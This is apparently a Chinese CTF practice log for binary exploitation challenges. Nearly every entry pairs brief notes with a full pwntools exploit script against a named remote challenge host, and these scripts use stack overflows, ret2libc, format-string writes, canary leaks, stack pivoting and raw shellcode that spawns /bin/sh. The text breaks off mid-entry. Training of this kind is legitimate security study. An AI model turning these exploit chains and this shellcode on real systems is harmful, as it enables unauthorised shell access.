PWN刷题记录

平时做题的一点记录,各个平台的都有,难度也是随机的,有些会详细写,有些会略过,慢慢更新(👴是懒狗

[TOC]

level0

简单栈溢出

from pwn import *
#io = process('./level0')
io = remote('node4.buuoj.cn',25474)
payload = b'a'*0x88

system = 0x0000000000400596

payload += p64(system)

io.recvuntil("Hello, World\n")
io.sendline(payload)
io.interactive()

level1

根据泄漏的buf地址ret2shellcode

from pwn import *

io = remote('node4.buuoj.cn',27234)
#io = process('./level1')
io.recvuntil("What's this:")
buf_addr = int(io.recv(10),16)

sc = (asm(shellcraft.sh()))

payload = sc + (0x88-len(sc))*b'a' + b'bbbb' +p32(buf_addr)

io.sendline(payload)
io.interactive()

level2

开了NX保护,无法再写入shellcode,IDA可以看到调用system函数,我们可以进行ret2lib

from pwn import *

io = remote('node4.buuoj.cn',28221)
elf = ELF('./level2')

system = elf.symbols['system']
sh = 0x804a029 #gdb search sh


payload = b'a'*0x8C + p32(system) + p32(0xdeadbeef) + p32(sh)

io.sendline(payload)
io.interactive()

level3

ret2lib的题型

  • 首先vulnerable_function中read函数存在溢出,接着控制程序流程,构造函数调用栈
  • 然后利用write泄漏出其地址,根据偏移算出lib_base
  • 然后配合题目提供的 libc 文件计算 system() 函数的地址以及 /bin/sh 的地址
  • 再利用read的栈溢出get shell
from elftools.construct.macros import UBInt32
from pwn import *
from six import u
io = remote('pwn2.jarvisoj.com',9879)
libc = ELF('./libc-2.19.so')
elf = ELF('./level3')

#泄漏write函数地址
write_plt = elf.plt['write']
write_got = elf.got['write']
vul_addr = elf.symbols['vulnerable_function']

payload0 = b'a' * (0x8C) + p32(write_plt) + p32(vul_addr) + p32(0x1) + p32(write_got) + p32(0x4)
io.recvuntil("Input:\n")
io.sendline(payload0)

write_addr = u32(io.recv(4))

lib_base = write_addr - libc.symbols['write']
system_addr = lib_base + libc.symbols['system']
print(hex(system_addr))
bin_sh = lib_base + next(libc.search(b'/bin/sh'))

payload = b'a' * 0x8C + p32(system_addr) + p32(0xdeadbeef) + p32(bin_sh)

io.recvuntil("Input:\n")

io.sendline(payload)
io.interactive()

这题若没给libc文件,我们也可以用DynELF来做

from pwn import *
io = remote('pwn2.jarvisoj.com',9879)
elf = ELF('./level4')

write_plt = elf.symbols['write']
write_got = elf.got['write']
start = elf.symbols['_start']#循环泄漏地址时,最好返回跳转到start位置
vul_addr = elf.symbols['vulnerable_function']
read_plt = elf.symbols['read']
bss_addr = elf.bss()

def leak(address):
payload0 = b'a' * (0x8C) + p32(write_plt) + p32(start) + p32(1) + p32(address) + p32(4)
io.recvuntil("Input:\n")
io.sendline(payload0)
data = io.recv(4)
return data

d = DynELF(leak, elf=ELF('./level3'))
system_addr = d.lookup('system','libc')

payload1 = b'a' * 0x8C + p32(read_plt) + p32(vul_addr) + p32(0x0) + p32(bss_addr) + p32(0x8)
io.sendline(payload1)
io.send('/bin/sh\x00')

payload2 = b'a' * 0x8C + p32(system_addr) + p32(0) + p32(bss_addr)
io.sendline(payload2)

io.interactive()

若python3环境报错的话,改dynelf.py文件的582行为这个

result = e.symbols[symb.decode()]

level4

其实level4就是没给lib的level3
那个跳转函数的位置最好写start,程序开始的位置,网上很多wp用的是vul那个函数,但是我这里一直打不通,用start就可以。

from pwn import *
io = remote('pwn2.jarvisoj.com',9880)
elf = ELF('./level4')

write_plt = elf.symbols['write']
write_got = elf.got['write']
start = elf.symbols['_start']#循环泄漏地址时,最好返回跳转到start位置
vul_addr = elf.symbols['vulnerable_function']
read_plt = elf.symbols['read']
bss_addr = elf.bss()

def leak(address):
payload0 = b'a' * (0x8C) + p32(write_plt) + p32(start) + p32(1) + p32(address) + p32(4)
#io.recvuntil("Input:\n")
io.sendline(payload0)
data = io.recv(4)
return data

d = DynELF(leak, elf=ELF('./level4'))
system_addr = d.lookup('system','libc')

payload1 = b'a' * 0x8C + p32(read_plt) + p32(vul_addr) + p32(0x0) + p32(bss_addr) + p32(0x8)
io.sendline(payload1)
io.send('/bin/sh\x00')

payload2 = b'a' * 0x8C + p32(system_addr) + p32(0) + p32(bss_addr)
io.sendline(payload2)

io.interactive()

注意把recv(“input”)去掉就好了

jarvisoj_tell_me_something

在read函数处有明显的栈溢出,用gdb可以算出偏移是136,然后ida发现有个good_game函数,F5后发现里面会读出flag.txt,但是main函数中没有调用,所以我们利用栈溢出覆盖到good_game的地址

exp

from pwn import *

context.log_level = 'debug'
name = './guest'
#io = process(name)
io = remote('node4.buuoj.cn',27744)

elf = ELF('./guest')

padding = b'a' * 0x88
good_game = elf.symbols['good_game']

payload = padding + p64(good_game)
io.recvuntil("Input your message:\n")
io.sendline(payload)

io.interactive()

Level2_x64

这题和之前的x86差不多,就是要改传参的方式

exp

from pwn import *
io = remote('pwn2.jarvisoj.com', 9882)
elf = ELF('./level2_x64')

system = elf.symbols['system']
bin_sh = next(elf.search(b'/bin/sh'))
pop_rdi_ret = 0x00000000004006b3

payload = b'a' * 0x88 + p64(pop_rdi_ret) + p64(bin_sh) + p64(system) + p64(0xdeadbeef)
io.recvuntil('Input:\n')
io.sendline(payload)

io.interactive()

Level3_x64

这题思路也是与x86的相同,只是传参调用的方式变了,要设置寄存器以及从左到右传参

exp如下

from pwn import *

io = remote('pwn2.jarvisoj.com',9883)
elf = ELF('./level3_x64')
lib = ELF('./libc-2.19.so')

write_plt = elf.symbols['write']
write_got = elf.got['write']
start = elf.symbols['_start']
pop_rdi_ret = 0x00000000004006b3
pop_rdi_r15_ret = 0x00000000004006b1
vul_addr = elf.symbols['vulnerable_function']

payload = b'a' * 0x88
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rdi_r15_ret) + p64(write_got) + p64(0xdeadbeef)
payload += p64(write_plt) + p64(start)
io.recvuntil("Input:\n")
io.sendline(payload)
write_addr = u64(io.recv(8))

lib_base = write_addr - lib.symbols['write']
system = lib_base + lib.symbols['system']
bin_sh = lib_base + next(lib.search(b'/bin/sh'))

payload2 = b'a' * 0x88 + p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
io.recvuntil("Input:\n")
io.sendline(payload2)

io.interactive()

xdctf2015_pwn200

ret2libc题型,无libc.so,利用DynELF

exp

from pwn import *
#context.log_level = 'debug'
name = './bof'
#p = process(name)
p = remote('node4.buuoj.cn',25758)
elf = ELF(name)

write_plt = elf.plt['write']
start = elf.symbols['_start']
read_plt = elf.plt['read']
vul_addr = elf.symbols['vuln']
bss = elf.bss()
padding = b'a' * 112


def leak(address):
payload = flat([padding,write_plt,start,1,address,4])
p.recvuntil("~!\n")
p.send(payload)
data = p.recv(4)
return data

d = DynELF(leak, elf=ELF('./bof'))
system = d.lookup('system', 'libc')

payload1 = flat([padding, read_plt, vul_addr, 0, bss, 8])
p.sendline(payload1)
p.send('/bin/sh\x00')

payload2 = flat([padding, system, 0xdeadbeef, bss])
p.sendline(payload2)

p.interactive()

[BJDCTF 2020]babystack

如题baby,基础的ret2text

from pwn import *

elf = ELF('ret2text')
p=remote('1.14.71.254',28098)
backdoor = elf.symbols['backdoor']

p.sendline('100')
payload = b'a' * 24 + p64(backdoor)

p.sendline(payload)
p.interactive()

[BJDCTF 2020]babyrop

这题思路没什么好说的,就是64位的无libc.so的ret2libc,利用LibcSearch做好传参顺序,我说说我遇到的几个点(大佬勿喷

  • 最主要的是,我开始是用flat([ ])构造payload,一直没打通,折磨我好久。。。
  • 还有就是LibcSearch会要你自己去选择几个libc.so,这个多打几次就好了
from pwn import *
from LibcSearcher import *
io = remote('1.14.71.254',28054)
context.log_level = 'debug'
#io = process('./pwn')
elf = ELF('./pwn')

put_plt = elf.plt['puts']
puts_got = elf.got['puts']
start = elf.symbols['_start']
padding = b'a' * 0x28
pop_rdi_ret = 0x0400733

payload1 = padding + p64(pop_rdi_ret) + p64(puts_got) + p64(put_plt) + p64(start)
io.sendafter('story!',payload1)
io.recv() #这里要接受一个数据,不然会错
puts_addr = u64(io.recv(6).ljust(8,b'\x00')) #[DEBUG] Received 0x6 bytes:
print(hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)

lib_base = puts_addr - libc.dump('puts')
print(hex(lib_base))
system_addr = lib_base + libc.dump('system')
print(hex(system_addr))
bin_sh = lib_base + libc.dump('str_bin_sh')
print(hex(bin_sh))

payload2 = padding + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)
io.sendafter("story!",payload2)

io.interactive()

[BJDCTF 2020]babystack2.0

题目比1.0多了一个判断,比较nbytes和10的大小,在比较时是signed int,但是在read输入时是unsigned int 利用符号溢出,输入负数-1绕过判断,进入name进行栈溢出

from pwn import *
io = remote('1.14.71.254',28031)

backdoor = 0x0400726
payload = b'a' * 0x18 + p64(backdoor)

io.sendlineafter('name:','-1')
io.sendlineafter('name?',payload)
io.interactive()

[BJDCTF 2020]babyrouter

命令执行绕过

case 1 :
puts("Please input the ip address:");
read(0,ip,16);
strcat(command,ip);
system(command);
puts("done!");
break;

构造

;/bin/sh

[Jarvis OJ]fm

格式化字符串漏洞,刚学到这一块,看得有点迷糊,做做题理解下

这题逻辑挺简单,x初始化为3,当修改x=4时就可以读出flag,所以我们就要利用format string将x对应内存地址处的值改为4

然后偏移的话,利用pwngdb的插件fmtarg算出是11

printf(x_address+"%c$n")
可以修改[x_address]的值为x_address的字符长度
这里很巧的一点就是p32(x_addr)的长度刚好是4个字节

exp

from pwn import *
io = remote('pwn2.jarvisoj.com' ,9895)

x_addr = 0x0804A02C
payload = p32(x_addr) + b"%11$n"
io.sendline(payload)

io.interactive()

inndy_echo

同样是format string

导入IDA中可以看到

do
{
fgets(&s, 256, stdin);
printf(&s);
}
while ( strcmp(&s, "exit\n") );
system("echo Goodbye");

在printf处可以利用,先在gdb中算出偏移是7,然后我们看到有system函数,我们就可以利用GOT hiJack将printf@got的内容改写成system@plt的地址,再写入/bin/sh\x00执行

from pwn import *

elf = ELF('echo')
#io = process('./echo')
io = remote('node4.buuoj.cn',26569)
#context.terminal = ['tmux','splitw','-h']
printf_got = elf.got['printf']
system_plt = elf.plt['system']

payload = fmtstr_payload(7,{printf_got:system_plt})
io.sendline(payload)
io.send('/bin/sh\x00')

io.interactive()

[NSS新生赛]whitegive_pwn

64位的无libc的rop,泄漏出puts 的地址,利用LibSearch算出基地址,得到system和bin/sh的地址,传参执行就好了

exp

from pwn import *
from LibcSearcher import *
io = remote('1.14.71.254',28035)
elf = ELF('./bgei')

pop_rdi_ret = 0x0000000000400763
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.symbols['main']

payload1 = b'a' * 24 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendline(payload1)
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)

libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

payload2 = b'a' * 24 + p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
io.sendline(payload2)

io.interactive()

[BJDCTF 2020]babyrop2

这题主要考点就是格式化字符串leak出canary,然后利用ROP和LibSearch找到libc,最后getshell

用IDA打开主要看vuln和gift函数,首先看gift

char format; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("I'll give u some gift to help u!");
__isoc99_scanf("%6s", &format);
printf(&format);
puts(byte_400A05);
fflush(0LL);
return __readfsqword(40u) ^ v2;

可以看到最大输入6个字符,我们尝试输入

I'll give u some gift to help u!
%6$p
0x7f0070243625
Pull up your sword and tell me u story!

发现printf是存在格式化字符串漏洞的,我们在gdb中测试偏移

image.png

可以看到,我们输入的泄漏偏移是6,说明格式化字符串的偏移是6,而下面也就是canary的值(以00结尾),在IDA中也可以看到canry在RSP+8的位置,所以泄漏canary的偏移为7,这里其实找后面检查时的canary也🉑️,偏移就是11

这里遇到的几个点

  • 在打exp的时候,会发现有时候recv接收的问题,这个还得多看看语法和具体题目分析,不然打不通
  • python的一些类型转换的问题会报错,多试试网上的各种写法
  • 开始用main来泄漏发现一直不通,后来改vuln函数就可以。。我觉得是因为栈溢出是发生在vuln中,而main的话是调用,可能打的时候出了些问题

exp

from pwn import *
from LibcSearcher import *
io = remote('1.14.71.254',28083)
context.log_level = 'debug'
elf = ELF('./bjd_rop2')

payload = b"%7$p"
io.sendlineafter('u!',payload)
#io.recvuntil("0x")
io.recv()
canary = io.recvuntil('\n')[:-1]
#canary = int(io.recv(16),16)
pop_rdi_ret = 0x0000000000400993
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
vuln = elf.symbols['vuln']

payload2 = b'a' * (0x20 - 0x8) + p64(int(canary.decode(),16)) + b'a' * 0x8
payload2 += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(vuln)
io.recvuntil('Pull up your sword and tell me u story!')
io.sendline(payload2)
#puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
puts_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
log.info(hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

payload3 = b'a' * (0x20 - 0x8) + p64(int(canary.decode(),16)) + b'a' * 0x8 + p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
io.sendlineafter("story!",payload3)

io.interactive()

smashes – stack smash

主要参考

hollk师傅的分析

原理如下

核心就是利用栈溢出覆盖__libc_argv[0]为我们想要泄漏的信息的地址

exp,主要跟着文章去分析

from pwn import *

io = remote('pwn.jarvisoj.com',9877)
#io = process('./smashes')
padding = 0x7fffffffe418 - 0x7fffffffe200

payload = b'a' * padding + p64(0x400d20)

io.sendafter('name?', payload)
io.interactive()

[CISCN 2019华北]PWN1

64位的只开了nx保护,导入ida中分析,可以看到只要v2变量值为11.28125就能cat /flag,并且在gets输入v1中存在栈溢出,在IDA中看到只要覆盖(0x30 - 0x4)就可以盖到v2

这里我们传输的时候要把11.28125转换成16进制0x41348000

exp

from pwn import *

io = remote('1.14.71.254', 28093)

cat_flag = 0x41348000

payload = b'a' * (0x30 - 0x4) + p64(cat_flag)

io.sendlineafter("Let's guess the number.", payload)

io.interactive()

[2021 鹤城杯]babyof

在IDA中看到buf处存在栈溢出,熟悉的ret2libc

这里要注意最后打payload的时候要加个ret对齐,不然打不通

from pwn import *
from LibcSearcher import *

io = remote('1.14.71.254', 28081)
elf = ELF('./babyof')

pop_rdi_ret = 0x0000000000400743
ret = 0x0000000000400506
put_plt = elf.plt['puts']
put_got = elf.got['puts']
main = 0x000000000040066B

payload1 = b'a' * 0x40 + b'a' * 8 + p64(pop_rdi_ret) + p64(put_got) + p64(put_plt) + p64(main)
io.recvuntil("Do you know how to do buffer overflow?")
io.sendline(payload1)
puts_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
log.info(hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

payload2 = b'a' * 0x40 + b'a' * 0x8 + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
io.sendlineafter("Do you know how to do buffer overflow?", payload2)

io.interactive()

[2021 鹤城杯]littleof

这一题就是上一题的升级版,开启了canary保护,不过我们观察IDA分析可以发现,第一次printf输出可以leak出canary的值,有了canary就可以ret2libc

exp

from pwn import *
from LibcSearcher import *

#io = process('./littleof')
io = remote('1.14.71.254', 28031)
elf = ELF('./littleof')

put_plt = elf.plt['puts']
put_got = elf.got['puts']
pop_rdi_ret = 0x0000000000400863
ret = 0x000000000040059e
main = 0x0000000000400789

payload = b'a' * (0x50 - 0x8)
io.recvuntil("Do you know how to do buffer overflow?")
io.sendline(payload)
io.recvuntil("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n")
canary = u64(io.recv(7).rjust(8, b'\x00'))
print("canary:",hex(canary))

payload1 = b'a' * (0x50 - 0x8) + p64(canary) + b'a' * 0x8 + p64(pop_rdi_ret) + p64(put_got) + p64(put_plt) + p64(main)
io.sendlineafter("Try harder!", payload1)
puts_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

payload = b'a' * (0x50 - 0x8)
io.recvuntil("Do you know how to do buffer overflow?")
io.sendline(payload)
io.recvuntil("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n")
canary = u64(io.recv(7).rjust(8, b'\x00'))

payload2 = b'a' * (0x50 - 0x8) + p64(canary) + b'a' * 0x8 + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
io.sendlineafter("Try harder!", payload2)

io.interactive()

[2021 鹤城杯]easyecho

经典的stack smash题目,保护全开。。。导入IDA中观察

这个循环只要输入backdoor就能绕过,但是我们无法找到flag的地址,这就要利用到上面Name处leak出栈上的地址,在v8处,读入16个a

同时我们观察到程序pie基址

所以我们就能得到flag的位置计算flag = pie_base + offset

继续观察IDA,跟进read_flag函数可以发现

可以将flag输出到bss段打印出来,接下来就是找我们的padding

观察栈变量,看到v8和v10差了0x20

因为有gets,我们在v10处栈溢出,通过stack smash输出flag

于是padding = 0x7fffffffe418 - 0x7fffffffe2b0

exp

from pwn import *

io = remote('1.14.71.254',28013)
#io = process('./easyecho')

io.sendafter("Name:", b'a'*16)
io.recvuntil("Welcome aaaaaaaaaaaaaaaa")
leak_addr = u64(io.recv(6).ljust(8, b'\x00'))

pie_base = leak_addr - 0xcf0
open_flag = pie_base + 0x0000000000202040

io.recvuntil("Input: ")
io.sendline("backdoor")

argv0 = 0x7fffffffe418
v10 = 0x7fffffffe2b0

padding1 = b'a' * (argv0 - v10)
payload = padding1 + p64(open_flag)
io.sendlineafter("Input: ", payload)

io.recvuntil("Input: ")
io.sendline("exitexit")

io.interactive()

[CISCN 2019东北]PWN2

只开了NX保护,导入IDA中分析

只有在encrpt函数里有利用点,开了NX,没有canary,没有可以利用的函数,自然的ret2libc攻击

exp

from pwn import *
from LibcSearcher import *

io = remote('1.14.71.254', 28096)
#io = process('./ciscn_2019db_pwn2')
elf = ELF('./ciscn_2019db_pwn2')
context.log_level = 'debug'

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start = elf.symbols['_start']
pop_rdi_ret = 0x0000000000400c83
ret = 0x00000000004006b9

io.sendlineafter("choice!\n", '1')
padding = b'a' * 0x50 + b'b' * 0x8
payload = padding + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(start)
io.sendlineafter("encrypted\n", payload)

puts_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
log.info(hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')


io.sendlineafter("choice!\n", '1')
payload1 = padding + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
io.sendlineafter("encrypted\n", payload1)


io.interactive()

这题里面那个循环加密好像也不用绕过,我直接打也能通

[深育杯 2021]find_flag

保护全开,格式化字符串leak出canary和程序基址

可以算出偏移是6,这样我们再找出canary和pie

有了地址,用vmmap查看基地址算出偏移是0x1140

IDA中可以发现正好有一个漏洞函数,直接利用即可

exp

from pwn import *

#io = process('./find_flag')
io = remote('1.14.71.254',28056)
context.log_level = 'debug'

fmt = b"aa%17$pbb%16$p"
io.recvuntil("name?")
io.sendline(fmt)


io.recvuntil("aa")
canary = int(io.recv(18), 16)
log.info(hex(canary))
io.recvuntil("bb")
addr_base = int(io.recv(14), 16) - 0x1140
log.info(hex(addr_base))

sub_1228 = 0x1228
flag = addr_base + sub_1228

payload = b'a' * (0x40 - 0x8) + p64(canary) + b'b' * 0x8 + p64(flag)

io.sendlineafter("else? ", payload)

io.interactive()

NSS平台上环境有点问题,远程和本地不一样,所以leak pie那里是%16$p,haruki师傅教我直接%p*20数出来🌶️

CGfsb

format string

exp

from pwn import *

io = remote('111.200.241.244', 60496)

pwnme = 0x0804A068
offset = 10

io.sendlineafter('please tell me your name:', b'kkkk')

#payload = p32(pwnme) + b"bbbb%10$n"
payload = fmtstr_payload(offset, {pwnme:0x8})
io.sendlineafter('leave your message please:', payload)

io.interactive()

greeting

exp

from pwn import *

elf = ELF('./greeting')
io = remote('111.200.241.244', 50819)

fini_arr = 0x08049934
main = 0x080485ED
strlen_got = 0x08049A54
system_plt = 0x08048490

payload = b'k' * 2 # 2
payload += p32(strlen_got+2)
payload += p32(fini_arr+2)
payload += p32(strlen_got)
payload += p32(fini_arr)
#16
pad_len = len("Nice to meet you, ") #18


payload += b"%" + str(0x0804 - 0x24) + "c%12$hn%13$hn"
payload += b"%" + str(0x8490 - 0x0804) + "c%14$hn"
payload += b"%" + str(0x85ED - 0x8490) + "c%15$hn"

io.sendlineafter("Please tell me your name... ", payload)

io.recvuntil("Please tell me your name... ")
io.sendline('/bin/sh\x00')

io.interactive()

实时数据监测

可以直接覆盖,也可以双字节覆盖

exp

from pwn import *

io = remote('111.200.241.244', 54060)
#io = process('./mon')
context.log_level = 'debug'

key_bss = 0x0804A048
offset = 12
#payload = fmtstr_payload(offset, {key_bss:0x02223322})

payload = p32(key_bss+2) + p32(key_bss)
payload += "%" + str(0x0222 - 8) + "c%12$hn"
payload += "%" + str(0x3322 - 0x0222) + "c%13$hn"

io.sendline(payload)

io.interactive()

[CISCN 2019西南]PWN1

exp

from pwn import *

io = remote('1.14.71.254', 28030)
elf = ELF('./ciscn_2019_sw_pwn1')

main = 0x08048534
fini_addr = 0x0804979C
printf_got = elf.got['printf']
system_plt = 0x080483d0

payload = p32(printf_got + 2) + p32(fini_addr + 2) + p32(printf_got) + p32(fini_addr)
payload += "%" + str(0x0804 - 16) + "c%4$hn%5$hn"
payload += "%" + str(0x83d0 - 0x0804) + "c%6$hn"
payload += "%" + str(0x8534 - 0x83d0) + "c%7$hn"

io.sendlineafter('name?', payload)
io.recvuntil("name?")
io.sendline('/bin/sh\x00')


io.interactive()

[Black Watch 入群题]PWN

经典的栈迁移

exp

from pwn import *
io = remote('node4.buuoj.cn', 28396)
elf = ELF('./spwn')
#io = process('./spwn')
libc = ELF('./libc-2.23_32.so')
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
context.log_level = 'debug'

write_plt = elf.plt['write']
write_got = elf.got['write']
main = elf.sym['main']
s = 0x0804A300
leave_ret = 0x08048408

io.recvuntil('name?')
payload0 = p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
io.sendline(payload0)

io.recvuntil('say?')
payload1 = b'a' * 0x18 + p32(s - 4) + p32(leave_ret)
#不能用sendline,多一个\n在缓冲区内
io.send(payload1)

write_addr = u32(io.recv(4))
log.info(hex(write_addr))

libc_base = write_addr - libc.symbols['write']
system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))

io.recvuntil('name?')
payload2 = p32(system) + p32(0) + p32(bin_sh)
io.sendline(payload2)

io.recvuntil('say?')
io.sendline(payload1)


io.interactive()

[CISCN 2019东南]PWN2

exp

那两个ebp的偏移计算

https://blog.csdn.net/Y_peak/article/details/113823280

测试exp

from pwn import *

io = process('./ciscn_2019_es_pwn2')
#io = remote('1.14.71.254', 28096)
system = 0x08048400
leave_ret = 0x080484b8

payload = b'a' * 0x27 + b'k'
io.recvuntil('name?\n')
io.send(payload)

io.recvuntil('k')
ebp_addr = u32(io.recv(4))
log.info(hex(ebp_addr))

payload1 = (b'bkdr' + p32(system) + p32(0xdeadbeef) + b'shdr' + b'/bin/sh\x00').ljust(0x28, b'\x00')

raw_input('debug:')
io.sendline(payload1)

io.interactive()

from pwn import *

#io = process('./ciscn_2019_es_pwn2')
io = remote('1.14.71.254', 28096)
system = 0x08048400
leave_ret = 0x080484b8

payload = b'a' * 0x27 + b'k'
io.recvuntil('name?\n')
#这里不能用sendline,多一个\n,多一个字节接收到的地址是错的
io.send(payload)

io.recvuntil('k')
ebp_addr = u32(io.recv(4))
log.info(hex(ebp_addr))

payload1 = (b'k' * 4 + p32(system) + p32(0xdeadbeef) + p32(ebp_addr - 0x28) + b"/bin/sh\x00").ljust(0x28, b'\x00')
payload1 += p32(ebp_addr-0x38) + p32(leave_ret)

io.sendline(payload1)

io.interactive()

format2

这题函数蛮多,但是也就主要分析那几个

首先看主函数,输入的被解密后放在v6,v6的长度不能超过0xc ,也就是我们payload最大长度是12

漏洞点在auth函数这里,看到memcpy,在v4处就有4个字节的溢出,可以覆盖到auth函数ebp处的内容,而ebp处存的就是之前main函数的ebp,而这里我们就可以修改为我们想要利用的地址,进而main退出时执行leave,mov esp,ebp,esp的值就指向我们利用的地址,劫持了程序执行流程

可以参考这位师傅的文章图解

https://blog.csdn.net/weixin_43868725/article/details/108366539?ops_request_misc=%7B%22request_id%22%3A%22164229926316780265467309%22%2C%22scm%22%3A%2220140713.130102334..%22%7D&request_id=164229926316780265467309&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-2-108366539.first_rank_v2_pc_rank_v29&utm_term=format2&spm=1018.2226.3001.4187

exp

from pwn import *
import base64

#io = process('./format2')
io = remote('111.200.241.244', 57858)

bin_sh = 0x08049284
input = 0x0811EB40

payload = base64.b64encode(b'a' * 4 + p32(bin_sh) + p32(input))

io.recvuntil('Authenticate : ')
io.sendline(payload)

io.interactive()

[mssctf2021]signin

西电举办的中学生CTF竞赛

放一下复现地址https://ctf.xidian.edu.cn/challenges

这题主要考栈溢出+整数溢出,可以看到v6是一个unsigned int8范围是0-255,就可以根据这个绕过if判断,然后通过mainread读入及strcpy覆盖signin的v5返回到后门函数的地址

exp

from pwn import *
#io = process('./signin')
io = remote('pwn.archive.xdsec.chall.frankli.site' ,10006)
system_addr = 0x080492B6

payload = b'ZXFxaWUmY29yMWU=' + b'a' * (0x89 + 4 - 16) + p32(system_addr) + b'b' * 140
io.sendline(payload)
io.interactive()

[mssctf2021]shellcode

因为有个call rdi所以IDA无法进行反汇编,需要嗯看汇编

就是往buf里读入0x3c个字节,再将buf载到rax里,再给buf的指针加0xa个字节,放到rdi里,再call rdi,因为没有开NX保护,所以我们先填入0xa个长度的padding,再往buf里写入shellcode就可以

exp

from pwn import *
#要指定好架构是64位的
context.arch = 'amd64'
p = remote('pwn.archive.xdsec.chall.frankli.site' ,10022)

shellcode = b"\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05"

payload = b'a'*10 + shellcode

p.sendline(payload)
p.interactive()

int_overflow

攻防世界的一道整数溢出的练习题

漏洞点就在这个check_passwd函数里的一个变量存储方面

这里的v3是unsigned int8类型,就相当于一个无符号char 型范围在0-255,而ta接受的是一个size_t类型(unsigned int)的数据,从而造成无符号数的回绕

exp

from pwn import *

io = remote('111.200.241.244',49854)

flag = 0x0804868B


io.sendlineafter('choice:', str(1))
io.sendlineafter('username:', b'kkkk')


payload = b'a' * 0x14 + b'b' * 0x4 + p32(flag) + 232 * b'a'
io.sendlineafter('passwd:', payload)

io.interactive()

wustctf2020_number_game

也是一道整数溢出的题目

程序很简单,就一个取负数判断,绕过判断就直接getshell

v1是一个32位的int类型变量,范围在-2147483648~-2147483647,所以我们输入一个小与-2147483648的数就可以了

exp

from pwn import *
io = remote('node4.buuoj.cn',26318)

payload = str(-2147483649)

io.sendline(payload)

io.interactive()

string

程序很长,看故事,但是并不复杂,需要点耐心去分析,考点还是格式化字符串漏洞

这个函数里明显看到漏洞点

再看到这个函数可以发现getshell的点

只要将传入的指针变量a1的值,修改为和*(a+1)相同的值,再执行shellcode

顺便注意下,算偏移要注意是32位还是64位,两种传参不一样,最好用gdb算

exp

from pwn import *
#io = process('./string')
context.arch = 'amd64'
io = remote('111.200.241.244', 52695)

io.recvuntil('secret[0] is ')
key = int(io.recvuntil('\n'), 16)
log.info(hex(key))


io.sendlineafter('What should your character\'s name be:', b'lnk')
io.sendlineafter('So, where you will go?east or up?:', b'east')
io.sendlineafter('go into there(1), or leave(0)?:', str(1))
io.sendlineafter("'Give me an address'", str(key))
#64位传参调用变了,开始数出来是%8$
payload = b"%85c%7$n"
io.sendlineafter('And, you wish is:', payload)

shellcode = b"\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05"

io.sendlineafter('Wizard: I will help you! USE YOU SPELL\n', shellcode)

io.interactive()

[mssctf2021 Finals]SignIn

签到题吧,跟着提示去注册登录拿flag,考pwntools的交互使用

exp

from pwn import *
io = remote('pwn.archive.xdsec.chall.frankli.site', 10093)
#io = process('./signin')

io.sendlineafter('Your choice:', b'1')
io.sendlineafter('Please input your UserName:', b'lnk')
io.recvuntil('Here\'s your key: \n')
key = io.recvline()
log.info(f"key is: {key}")

io.sendlineafter('Your choice:', b'2')
io.sendlineafter('User name:', b'lnk')
io.sendlineafter('Password:', key)

io.sendlineafter('Your choice:', b'3')
io.recvuntil('Here\'s your key: ')
flag = io.recvline()
io.sendlineafter('Tell me your key:', flag)


io.interactive()

[mssctf2021 Finals]shellcode

和初赛差不多一样的题,注意shellcode的长度,不能超过30

exp

from pwn import *

